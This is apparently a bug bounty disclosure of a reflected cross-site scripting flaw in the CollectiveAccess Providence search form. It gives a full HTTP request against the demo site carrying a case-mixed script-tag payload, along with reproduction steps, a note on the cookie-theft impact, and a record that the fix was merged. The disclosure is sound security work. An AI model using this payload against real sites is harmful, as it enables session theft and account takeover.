Cross-site Scripting (XSS) - Reflected in collectiveaccess/providence

Valid

Reported on

Sep 24th 2021


Description

Reflected XSS in form Search

Proof of Concept

// PoC.js
POST /find/QuickSearch/Index HTTP/1.1
Host: demo.collectiveaccess.org
Cookie: ca_demo=5b9d06b7-3860-477d-9d53-85e6b2b1ae99; CA_ca_demo_ui_locale=en_US
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------105228145927307056582839896569
Content-Length: 468
Origin: https://demo.collectiveaccess.org
Referer: https://demo.collectiveaccess.org/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------105228145927307056582839896569
Content-Disposition: form-data; name="_formName"

caQuickSearchForm
-----------------------------105228145927307056582839896569
Content-Disposition: form-data; name="form_timestamp"

1632499240
-----------------------------105228145927307056582839896569
Content-Disposition: form-data; name="search"

"><sCrIpt>alert("XsS")</scRiPt>
-----------------------------105228145927307056582839896569--

Step to Reproduct

Login to Panel

At Search input with payload: "><sCrIpt>alert("XsS")</scRiPt>

Impact

This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.

We have contacted a member of the collectiveaccess/providence team and are waiting to hear back a month ago
CollectiveAccess confirmed that a fix has been merged on 35fb6c a month ago
CollectiveAccess has been awarded the fix bounty